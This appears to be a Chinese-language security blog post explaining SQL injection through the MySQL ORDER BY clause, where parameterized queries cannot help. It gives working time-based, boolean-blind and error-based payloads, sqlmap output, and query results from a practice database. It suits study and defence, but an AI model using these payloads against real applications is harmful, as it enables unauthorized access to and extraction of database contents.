MySQL Order By 注入

2016-07-15

如果问一个安全/程序员如何才能防 SQL 注入问题？我想大部分人都会提到使用参数化查询，那是不是这样就高枕无忧了呢？换句话说是不是使用参数化查询后就能杜绝一切 SQL 注入问题呢？答案是否定的，参数化查询是针对参数值的绑定技术解决注入问题，而 SQL 语句中某些字段位置并不支持绑定技术，比如 ORDER BY 关键字后跟列名。当该列名的输入对用户可控时，在 SQL 注入问题上，参数化查询就束手无策了。

验证漏洞

查找疑似和 ORDER BY 关键字有关的参数，构造合适 Payload：

1 2	orderby=ASC,if(1=1,1,(select 1 from information_schema.tables))&key=value orderby=ASC,if(1=2,1,(select 1 from information_schema.tables))&key=value

因为 select 1 from information_schema.tables 会返回多个行，MySQL 会报“ERROR 1242 (21000): Subquery returns more than 1 row” 的错误，从而整条语句执行失败将无结果返回。

漏洞分析

首先看下 SELECT 语法（MySQL 5.7）

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [MAX_STATEMENT_TIME = N]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

可以看出一条正确 SQL 语句 ORDER BY 关键字后面可以是列名、列别名、列位置，且 ORDER BY 后面不能跟 UNION SELECT 子句，该位置的注入主要有如下姿势：

基于时间的盲注

GET parameter 'sort' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 46 HTTP(s) requests:
---
Parameter: sort (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: sort=1 AND (SELECT * FROM (SELECT(SLEEP(5)))kYbh)
---

MariaDB [security]> SELECT * FROM users ORDER BY 1 AND (SELECT * FROM (SELECT(SLEEP(5)))kYbh);
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (5.00 sec)

基于布尔盲注

GET parameter 'sort' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 46 HTTP(s) requests:
---
Parameter: sort (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: sort=(SELECT (CASE WHEN (8618=8618) THEN 8618 ELSE 8618*(SELECT 8618 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---

MariaDB [security]> SELECT * FROM users ORDER BY (SELECT (CASE WHEN (8618=8618) THEN 8618 ELSE 8618*(SELECT 8618 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END));
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

下图可以反映验证漏洞环节提到的情况，这也是我在测试过程中常用的验证是否存在注入点的方式。

order by injection-1

报错注入（前提是支持报错）

1 2	MariaDB [security]> SELECT * FROM users ORDER BY 1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':10.0.22-MariaDB'

其他

除了 ORDER BY 的注入外，偶尔也会碰到 LIMIT 注入，与 ORDER BY 不同的是，LIMIT 后可以接 UNION SELECT 子句，当然前提是 LIMIT 前没有 ORDER BY 关键字。

order by injection-2

从前面的 SELECT 语法中可知，在报错注入姿势上，ORDER BY 和 LIMIT 的利用一致，都是依赖 PROCEDURE 关键字，但该方法也有局限，此方法只适用于 MySQL 小于5.6.6的5.x系列。

最后

最近在挖漏洞过程中明显感觉的常规的注入问题变少了，猜测了下原因，可能一是各种扫描器大范围的扫描，二是开发者的安全意识提高了吧。不管怎样，这是好的趋势，安全问题若不修复，就会一直躺在那直到被人发现并利用。问题变少，说明厂商和白帽子都在努力。